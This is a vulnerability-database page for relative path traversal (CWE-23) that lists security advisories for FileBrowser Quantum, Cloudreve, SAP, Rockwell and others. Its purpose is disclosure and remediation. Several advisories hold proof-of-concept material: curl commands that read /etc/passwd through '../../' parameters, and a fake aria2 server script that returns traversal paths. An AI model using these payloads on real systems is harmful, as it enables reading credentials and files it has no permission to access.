CWE-23
AllowedRelative Path Traversal
Abstraction: Base · Status: Draft
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.
836 vulnerabilities reference this CWE, most recent first.
GHSA-VVP7-H4FJ-M28W
Vulnerability from github – Published: 2026-07-31 22:35 – Updated: 2026-07-31 22:35Summary
The subtitlesHandler endpoint (GET /api/media/subtitles) accepts two user-controlled query parameters: path and name, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.
The primary vector is the path parameter: it is passed directly to idx.GetRealPath() without calling SanitizeUserPath(), allowing an attacker to escape the storage root and set parentDir to any directory on the host. No existing anchor file is required.
The secondary vector is the name parameter: it is joined with parentDir via filepath.Join(parentDir, name) without stripping directory components, allowing traversal relative to any resolved parentDir.
Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including /etc/passwd, SSH keys, database credentials, and JWT signing keys.
Details
1. path parameter lacks SanitizeUserPath() — primary vector (http/media.go:54)
userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory
SanitizeUserPath() explicitly rejects .. segments:
func SanitizeUserPath(userPath string) (string, error) {
// ...
for _, segment := range segments {
if segment == ".." {
return "", fmt.Errorf("invalid path: path traversal detected")
}
}
// ...
}
Every other handler in the codebase calls SanitizeUserPath() before GetRealPath(). This handler skips it, so path=../../etc/passwd resolves parentDir to /etc, with no anchor file required.
2. name parameter used directly in filepath.Join — secondary vector (http/media.go:63)
name := r.URL.Query().Get("name") // line 37 — raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
filepath.Join(parentDir, name)) // line 63 — TRAVERSAL
filepath.Join(parentDir, "../../etc/passwd") resolves the .. components, escaping parentDir. This vector requires a valid file in scope as the path anchor.
3. GetSubtitleSidecarContent reads and returns file contents (common/utils/media.go:17-43)
func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
info, err := os.Stat(subtitlePath) // follows the traversed path
// size check: < 50MB
isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity
content, err := os.ReadFile(subtitlePath) // reads and returns content
return string(content), nil
}
The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.
4. Endpoint is behind withUser but requires no special permissions
// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))
Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.
PoC
Vector 1: path traversal (no anchor file needed):
docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"
Expected output: /etc/passwd contents with HTTP 200.
Vector 2: name traversal (anchor file required):
mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"
Expected output: /etc/passwd contents with HTTP 200.
Impact
- Arbitrary file read: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
- No anchor file required: The
pathvector works on a default install with an empty storage root, so no existing file in scope is needed. - Scope bypass: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
- Credential exposure:
/etc/passwd,/etc/shadow(if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets. - Privilege escalation: Reading the JWT signing key from the database or config file enables forging admin tokens.
- No special permissions required: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.
Recommended Fix
Apply SanitizeUserPath() to the path parameter and filepath.Base() to the name parameter:
// http/media.go, subtitlesHandler
// Sanitize path parameter (like all other handlers)
path, err := utils.SanitizeUserPath(path)
if err != nil {
return http.StatusBadRequest, err
}
// Strip directory components from name to prevent traversal
name = filepath.Base(name)
SanitizeUserPath() rejects any .. segment. filepath.Base("../../etc/passwd") returns "passwd", preventing traversal via name. Additionally, consider adding a file extension allowlist to restrict name to subtitle formats (.srt, .vtt, .ass, .ssa, .sub) only.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gtsteffaniak/filebrowser/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260608182036-f3f4bbe80cb5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54910"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T22:35:05Z",
"nvd_published_at": "2026-07-20T15:16:43Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.\n\nThe primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. \n\nThe secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`.\n\nAny authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys.\n\n### Details\n\n**1. `path` parameter lacks `SanitizeUserPath()` \u2014 primary vector (`http/media.go:54`)**\n\n```go\nuserscope, err := d.user.GetScopeForSourceName(source)\n// ...\nrealPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization\n// ...\nparentDir := filepath.Dir(realPath) // line 59: attacker controls this directory\n```\n\n`SanitizeUserPath()` explicitly rejects `..` segments:\n\n```go\nfunc SanitizeUserPath(userPath string) (string, error) {\n // ...\n for _, segment := range segments {\n if segment == \"..\" {\n return \"\", fmt.Errorf(\"invalid path: path traversal detected\")\n }\n }\n // ...\n}\n```\n\nEvery other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required.\n\n**2. `name` parameter used directly in `filepath.Join` \u2014 secondary vector (`http/media.go:63`)**\n\n```go\nname := r.URL.Query().Get(\"name\") // line 37 \u2014 raw user input\n// ...\ncontent, err = utils.GetSubtitleSidecarContent(\n filepath.Join(parentDir, name)) // line 63 \u2014 TRAVERSAL\n```\n\n`filepath.Join(parentDir, \"../../etc/passwd\")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor.\n\n**3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)**\n\n```go\nfunc GetSubtitleSidecarContent(subtitlePath string) (string, error) {\n info, err := os.Stat(subtitlePath) // follows the traversed path\n // size check: \u003c 50MB\n isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity\n content, err := os.ReadFile(subtitlePath) // reads and returns content\n return string(content), nil\n}\n```\n\nThe only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.\n\n**4. Endpoint is behind `withUser` but requires no special permissions**\n\n```go\n// httpRouter.go\napi.HandleFunc(\"GET /media/subtitles\", withUser(subtitlesHandler))\n```\n\nAny authenticated user can access this endpoint: no admin, modify, share, or download permission is required.\n\n### PoC\n\n**Vector 1: `path` traversal (no anchor file needed):**\n\n```bash\ndocker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest \u0026\u0026 sleep 3\nTOKEN=$(curl -s -X POST \"http://localhost:18080/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d \u0027\"\u0027)\ncurl \"http://localhost:18080/api/media/subtitles?path=../../etc/passwd\u0026source=srv\u0026name=passwd\u0026embedded=false\u0026auth=$TOKEN\"\n```\n**Expected output:** `/etc/passwd` contents with HTTP 200.\n\n**Vector 2: `name` traversal (anchor file required):**\n\n```bash\nmkdir -p /tmp/fbq-srv \u0026\u0026 echo \"dummy\" \u003e /tmp/fbq-srv/poc.txt\ndocker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest \u0026\u0026 sleep 3\nTOKEN=$(curl -s -X POST \"http://localhost:18081/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d \u0027\"\u0027)\ncurl \"http://localhost:18081/api/media/subtitles?path=/poc.txt\u0026source=srv\u0026name=../../etc/passwd\u0026embedded=false\u0026auth=$TOKEN\"\n```\n**Expected output:** `/etc/passwd` contents with HTTP 200.\n\n### Impact\n\n- **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.\n- **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed.\n- **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.\n- **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.\n- **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens.\n- **No special permissions required**: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.\n\n### Recommended Fix\n\nApply `SanitizeUserPath()` to the `path` parameter and `filepath.Base()` to the `name` parameter:\n\n```go\n// http/media.go, subtitlesHandler\n\n// Sanitize path parameter (like all other handlers)\npath, err := utils.SanitizeUserPath(path)\nif err != nil {\n return http.StatusBadRequest, err\n}\n\n// Strip directory components from name to prevent traversal\nname = filepath.Base(name)\n```\n\n`SanitizeUserPath()` rejects any `..` segment. `filepath.Base(\"../../etc/passwd\")` returns `\"passwd\"`, preventing traversal via `name`. Additionally, consider adding a file extension allowlist to restrict `name` to subtitle formats (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) only.",
"id": "GHSA-vvp7-h4fj-m28w",
"modified": "2026-07-31T22:35:05Z",
"published": "2026-07-31T22:35:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-vvp7-h4fj-m28w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54910"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/pull/2524"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/commit/f3f4bbe80cb569d664174aea874d7bfa008c3b5a"
},
{
"type": "PACKAGE",
"url": "https://github.com/gtsteffaniak/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.4.3-beta"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "FileBrowser Quantum\u0027s path traversal issue in subtitle handler allows any authenticated user to read arbitrary files"
}
GHSA-W474-J546-FCG4
Vulnerability from github – Published: 2023-04-11 06:30 – Updated: 2024-04-04 03:23SAP CRM (WebClient UI) - versions S4FND 102, 103, 104, 105, 106, 107, WEBCUIF, 700, 701, 731, 730, 746, 747, 748, 800, 801, allows an authenticated attacker to modify HTTP verbs used in requests to the web server. This application is exposed over the network and successful exploitation can lead to exposure of form fields
{
"affected": [],
"aliases": [
"CVE-2023-29189"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T04:16:00Z",
"severity": "MODERATE"
},
"details": "SAP CRM (WebClient UI) - versions S4FND 102, 103, 104, 105, 106, 107, WEBCUIF, 700, 701, 731, 730, 746, 747, 748, 800, 801, allows an authenticated attacker to modify HTTP verbs used in requests to the web server. This application is exposed over the network and successful exploitation can lead to exposure of form fields\n\n",
"id": "GHSA-w474-j546-fcg4",
"modified": "2024-04-04T03:23:33Z",
"published": "2023-04-11T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29189"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3269352"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W54W-3CC4-MVRQ
Vulnerability from github – Published: 2023-07-18 21:30 – Updated: 2024-04-04 06:14An executable used in Rockwell Automation ThinManager ThinServer can be configured to enable an API feature in the HTTPS Server Settings. This feature is disabled by default. When the API is enabled and handling requests, a path traversal vulnerability exists that allows a remote actor to leverage the privileges of the server’s file system and read arbitrary files stored in it. A malicious user could exploit this vulnerability by executing a path that contains manipulating variables.
{
"affected": [],
"aliases": [
"CVE-2023-2913"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-18T20:15:09Z",
"severity": "MODERATE"
},
"details": "\nAn executable used in Rockwell Automation ThinManager ThinServer can be configured to enable an API feature in the HTTPS Server Settings. This feature is disabled by default. When the API is enabled and handling requests, a path traversal vulnerability exists that allows a remote actor to leverage the privileges of the server\u2019s file system and read arbitrary files stored in it. A malicious user could exploit this vulnerability by executing a path that contains manipulating variables.\n\n\n",
"id": "GHSA-w54w-3cc4-mvrq",
"modified": "2024-04-04T06:14:35Z",
"published": "2023-07-18T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2913"
},
{
"type": "WEB",
"url": "https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1140160"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W64Q-VF23-C7H3
Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33A relative path traversal attack in the B. Braun OnlineSuite Version AP 3.0 and earlier allows unauthenticated attackers to upload or download arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2020-25172"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-06T17:15:00Z",
"severity": "CRITICAL"
},
"details": "A relative path traversal attack in the B. Braun OnlineSuite Version AP 3.0 and earlier allows unauthenticated attackers to upload or download arbitrary files.",
"id": "GHSA-w64q-vf23-c7h3",
"modified": "2022-05-24T17:33:18Z",
"published": "2022-05-24T17:33:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25172"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsma-20-296-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W6JF-24WJ-W8XX
Vulnerability from github – Published: 2024-10-16 15:32 – Updated: 2026-04-01 18:32Relative Path Traversal vulnerability in James Park Analyse Uploads allows Relative Path Traversal.This issue affects Analyse Uploads: from n/a through 0.5.
{
"affected": [],
"aliases": [
"CVE-2024-49253"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-16T14:15:10Z",
"severity": "HIGH"
},
"details": "Relative Path Traversal vulnerability in James Park Analyse Uploads allows Relative Path Traversal.This issue affects Analyse Uploads: from n/a through 0.5.",
"id": "GHSA-w6jf-24wj-w8xx",
"modified": "2026-04-01T18:32:02Z",
"published": "2024-10-16T15:32:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49253"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/analyse-uploads/vulnerability/wordpress-analyse-uploads-plugin-0-5-arbitrary-file-deletion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/analyse-uploads/wordpress-analyse-uploads-plugin-0-5-arbitrary-file-deletion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7MG-Q4HH-M9CQ
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2025-10-22 00:32An issue was discovered in Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal.
{
"affected": [],
"aliases": [
"CVE-2021-40870"
],
"database_specific": {
"cwe_ids": [
"CWE-23",
"CWE-434",
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-13T08:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal.",
"id": "GHSA-w7mg-q4hh-m9cq",
"modified": "2025-10-22T00:32:19Z",
"published": "2022-05-24T19:14:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40870"
},
{
"type": "WEB",
"url": "https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021"
},
{
"type": "WEB",
"url": "https://wearetradecraft.com/advisories/tc-2021-0002"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-40870"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7P3-5R7J-J9PC
Vulnerability from github – Published: 2025-11-28 09:30 – Updated: 2025-11-28 09:30app/Model/EventReport.php in MISP before 2.5.27 allows path traversal in view picture for a site-admin.
{
"affected": [],
"aliases": [
"CVE-2025-66386"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-28T07:15:59Z",
"severity": "MODERATE"
},
"details": "app/Model/EventReport.php in MISP before 2.5.27 allows path traversal in view picture for a site-admin.",
"id": "GHSA-w7p3-5r7j-j9pc",
"modified": "2025-11-28T09:30:17Z",
"published": "2025-11-28T09:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66386"
},
{
"type": "WEB",
"url": "https://github.com/MISP/MISP/commit/7f4a0386d38672eddc139f5735d71c3b749623ce"
},
{
"type": "WEB",
"url": "https://github.com/MISP/MISP/compare/v2.5.26...v2.5.27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W8J7-39HP-8X59
Vulnerability from github – Published: 2026-08-24 22:03 – Updated: 2026-08-24 22:03Summary
Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as ../../escaped.txt can cause a downloaded file to be created outside the user-selected destination directory.
Details
In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.
// pkg/filemanager/workflows/remote_download.go:436-438
sanitizedName := sanitizeFileName(file.Name)
dst := dstUri.JoinRaw(sanitizedName)
src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))
The same issue also exists when constructing slave upload payloads.
// pkg/filemanager/workflows/remote_download.go:323-327
dst := dstUri.JoinRaw(sanitizeFileName(f.Name))
src := path.Join(m.state.Status.SavePath, f.Name)
payload.Files = append(payload.Files, SlaveUploadEntity{
Src: src,
Uri: dst,
The sanitizer does not remove /, ., or .. path segments.
// pkg/filemanager/workflows/remote_download.go:648-650
func sanitizeFileName(name string) string {
r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_")
return r.Replace(name)
}
JoinRaw() splits the raw string by / and joins the segments, allowing .. to affect the final URI path.
// pkg/filemanager/fs/uri.go:173-175
func (u *URI) JoinRaw(elem string) *URI {
return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}
For aria2, Cloudreve derives downloader.TaskFile.Name from the path returned by aria2.tellStatus().files[].path.
// pkg/downloader/aria2/aria2.go:148-159
relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)
if len(relPath) > 0 {
relPath = relPath[1:]
}
return downloader.TaskFile{
Index: index,
Name: relPath,
Therefore, if the selected destination is: cloudreve://my/victim/safe, the downloader reports ../../escaped.txt, the final upload destination becomes cloudreve://my/escaped.txt
The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.
PoC
The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.
Setup:
Cloudreve official Docker image
PostgreSQL
Redis
Fake aria2 JSON-RPC service
Configure the master node in the Cloudreve admin UI:
Remote download capability: enabled
Downloader provider: aria2
aria2 RPC server: http://fake-aria2:6800/jsonrpc
aria2 token: empty
Create this folder structure in the file manager:
My files /
victim /
safe /
Create a remote download task using any URL in the victim/safe directory, for example:
http://attacker.invalid/file
The fake aria2 service returns:
files[0].path = <saveDir>/../../escaped.txt
Expected result after the remote download task completes:
cloudreve://my/escaped.txt exists
This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.
Impact
If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.
This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.
Appendix: fake_aria2.py
import json
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
GID = "0123456789abcdef"
CONTENT = b"created outside the selected Cloudreve destination\n"
save_dir = "/cloudreve/data/temp/aria2/poc-final"
def write_source_file():
source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt"))
os.makedirs(os.path.dirname(source), exist_ok=True)
with open(source, "wb") as f:
f.write(CONTENT)
print(f"fake aria2 source file: {source}", flush=True)
def response(rpc_id, result):
return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode()
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
global save_dir
raw = self.rfile.read(int(self.headers.get("Content-Length", "0")))
req = json.loads(raw or b"{}")
method = req.get("method")
rpc_id = req.get("id")
if method == "aria2.addUri":
for item in req.get("params", []):
if isinstance(item, dict) and item.get("dir"):
save_dir = item["dir"]
break
write_source_file()
result = GID
elif method == "aria2.tellStatus":
result = {
"gid": GID,
"status": "complete",
"totalLength": str(len(CONTENT)),
"completedLength": str(len(CONTENT)),
"uploadLength": "0",
"downloadSpeed": "0",
"uploadSpeed": "0",
"infoHash": "",
"numPieces": "1",
"dir": save_dir,
"files": [
{
"index": "1",
"path": f"{save_dir}/../../escaped.txt",
"length": str(len(CONTENT)),
"completedLength": str(len(CONTENT)),
"selected": "true",
"uris": [],
}
],
"bittorrent": {"mode": "single", "info": {"name": "poc-final"}},
}
elif method == "aria2.getVersion":
result = {"version": "fake-poc-final", "enabledFeatures": []}
else:
result = "OK"
body = response(rpc_id, result)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
return
if __name__ == "__main__":
print("fake aria2 JSON-RPC listening on :6800", flush=True)
HTTPServer(("0.0.0.0", 6800), Handler).serve_forever()
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.0.0-20260606032813-26b6b1044b02"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-24T22:03:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nCloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as `../../escaped.txt` can cause a downloaded file to be created outside the user-selected destination directory.\n\n### Details\n\nIn the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:436-438\nsanitizedName := sanitizeFileName(file.Name)\ndst := dstUri.JoinRaw(sanitizedName)\nsrc := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))\n```\n\nThe same issue also exists when constructing slave upload payloads.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:323-327\ndst := dstUri.JoinRaw(sanitizeFileName(f.Name))\nsrc := path.Join(m.state.Status.SavePath, f.Name)\npayload.Files = append(payload.Files, SlaveUploadEntity{\n\tSrc: src,\n\tUri: dst,\n```\n\nThe sanitizer does not remove `/`, `.`, or `..` path segments.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:648-650\nfunc sanitizeFileName(name string) string {\n\tr := strings.NewReplacer(\"\\\\\", \"_\", \":\", \"_\", \"*\", \"_\", \"?\", \"_\", \"\\\"\", \"_\", \"\u003c\", \"_\", \"\u003e\", \"_\", \"|\", \"_\")\n\treturn r.Replace(name)\n}\n```\n\n`JoinRaw()` splits the raw string by `/` and joins the segments, allowing `..` to affect the final URI path.\n\n```go\n// pkg/filemanager/fs/uri.go:173-175\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n```\n\nFor aria2, Cloudreve derives `downloader.TaskFile.Name` from the path returned by `aria2.tellStatus().files[].path`.\n\n```go\n// pkg/downloader/aria2/aria2.go:148-159\nrelPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)\nif len(relPath) \u003e 0 {\n\trelPath = relPath[1:]\n}\nreturn downloader.TaskFile{\n\tIndex: index,\n\tName: relPath,\n```\n\nTherefore, if the selected destination is: `cloudreve://my/victim/safe`, the downloader reports `../../escaped.txt`, the final upload destination becomes `cloudreve://my/escaped.txt`\n\nThe issue can move the final Cloudreve URI further up the user\u2019s any accessible namespace, but is subject to Cloudreve\u2019s normal permission and upload checks.\n\n### PoC\n\nThe PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.\n\nSetup:\n\n```text\nCloudreve official Docker image\nPostgreSQL\nRedis\nFake aria2 JSON-RPC service\n```\n\nConfigure the master node in the Cloudreve admin UI:\n\n```text\nRemote download capability: enabled\nDownloader provider: aria2\naria2 RPC server: http://fake-aria2:6800/jsonrpc\naria2 token: empty\n```\n\nCreate this folder structure in the file manager:\n\n```text\nMy files /\n victim /\n safe /\n```\n\nCreate a remote download task using any URL in the `victim/safe` directory, for example:\n\n```text\nhttp://attacker.invalid/file\n```\n\nThe fake aria2 service returns:\n\n```text\nfiles[0].path = \u003csaveDir\u003e/../../escaped.txt\n```\n\nExpected result after the remote download task completes:\n\n```text\ncloudreve://my/escaped.txt exists\n```\n\nThis demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.\n\n### Impact\n\nIf a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.\n\nThis affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve\u2019s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.\n\n### Appendix: fake_aria2.py\n\n```python\nimport json\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nGID = \"0123456789abcdef\"\nCONTENT = b\"created outside the selected Cloudreve destination\\n\"\nsave_dir = \"/cloudreve/data/temp/aria2/poc-final\"\n\n\ndef write_source_file():\n source = os.path.normpath(os.path.join(save_dir, \"..\", \"..\", \"escaped.txt\"))\n os.makedirs(os.path.dirname(source), exist_ok=True)\n with open(source, \"wb\") as f:\n f.write(CONTENT)\n print(f\"fake aria2 source file: {source}\", flush=True)\n\n\ndef response(rpc_id, result):\n return json.dumps({\"jsonrpc\": \"2.0\", \"id\": rpc_id, \"result\": result}).encode()\n\n\nclass Handler(BaseHTTPRequestHandler):\n def do_POST(self):\n global save_dir\n\n raw = self.rfile.read(int(self.headers.get(\"Content-Length\", \"0\")))\n req = json.loads(raw or b\"{}\")\n method = req.get(\"method\")\n rpc_id = req.get(\"id\")\n\n if method == \"aria2.addUri\":\n for item in req.get(\"params\", []):\n if isinstance(item, dict) and item.get(\"dir\"):\n save_dir = item[\"dir\"]\n break\n write_source_file()\n result = GID\n elif method == \"aria2.tellStatus\":\n result = {\n \"gid\": GID,\n \"status\": \"complete\",\n \"totalLength\": str(len(CONTENT)),\n \"completedLength\": str(len(CONTENT)),\n \"uploadLength\": \"0\",\n \"downloadSpeed\": \"0\",\n \"uploadSpeed\": \"0\",\n \"infoHash\": \"\",\n \"numPieces\": \"1\",\n \"dir\": save_dir,\n \"files\": [\n {\n \"index\": \"1\",\n \"path\": f\"{save_dir}/../../escaped.txt\",\n \"length\": 